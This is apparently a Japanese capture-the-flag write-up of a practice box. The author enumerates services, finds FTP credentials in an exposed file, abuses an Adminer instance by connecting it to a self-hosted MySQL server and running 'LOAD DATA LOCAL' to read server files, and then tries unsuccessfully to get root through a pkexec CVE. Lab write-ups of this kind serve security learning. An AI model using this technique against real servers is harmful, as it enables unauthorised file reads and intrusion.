とりまautorecon
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin-dir
/assets (Status: 301) [Size: 313]
/images (Status: 301) [Size: 313]
/index.php (Status: 200) [Size: 6051]
/index.php (Status: 200) [Size: 6051]
/robots.txt (Status: 200) [Size: 138]
folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
なのでGobusterをかけてみる
(wordlistは/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt)
/contacts.txt (Status: 200)
credential.txtの中にFTPユーザー&パスワード発見したのでFTP接続
tar.gz形式のバックアップファイルを発見
解凍するとソースが出てくる
ただしディレクトリ構成が既存のサーバーのものとは異なる
├―index.php
├―robots.txt
├―utility-scripts
│ ├―admin_tasks.php
│ ├―db_admin.php
│ ├―info.php
│ └―phptest.php
└―w4ld0s_s3cr3t_d1r
├―contacts.txt
└―credentials.txt
├―index.php
├―robots.txt
├―utility-scripts
│ ├―admin_tasks.php
│ ├―info.php
│ └―phptest.php
└―admin-d1r
├―contacts.txt
└―credentials.txt
消されたファイルには興味深い記述が
// TODO: Finish implementing this or find a better open source alternative
別のOSSツールに切り替わっている可能性が高いと考えひたすらぐぐったところ、下記のページを発見。
https://www.guru99.com/top-20-sql-management-tools.html
名前が激似
utility-scripts/adminer.phpを発見
脆弱性も発見
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
First, the attacker will access the victim’s Adminer instance, but instead of trying to connect to the
victim’s MySQL database, they connect “back” to their own MySQL database hosted on their own server.
Second, using the victim’s Adminer (connected to their own database) – they use the MySQL command
‘LOAD DATA LOCAL’, specifying a local file on the victim’s server. This command is used to load data
from a file local to the Adminer instance, into a database.
とのこと。
localにdocker-composeでMySQLたてて接続してload data local infile '/var/www/html/index.php' into table test_database を実行し現行サーバーのindex.phpを持ってくる。
wgetがあったのでlinpeas.shで検索検索ぅ
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 15K Mar 18 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 27K Mar 18 2019 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-- 1 root messagebus 44K Jun 26 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 431K Jul 15 2019 /usr/lib/openssh/ssh-keysign
なんかCVEがあるのでexploit拾ってきて試したがダメだった。
試したもの:
https://github.com/jas502n/CVE-2019-13272
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=812512
他にeximも権限昇格可能な脆弱性を持つバージョンがあったがプロセスが動いてなかったりで攻撃できなかった。
結果
root奪取失敗
反省点
罠が多いBoxだったがほぼすべての罠にはまった気がする。
admin_tasks.phpにかける時間を減らしていたらもっとなんとかなったかも。
夢にまで出てくるし本当に最悪だった。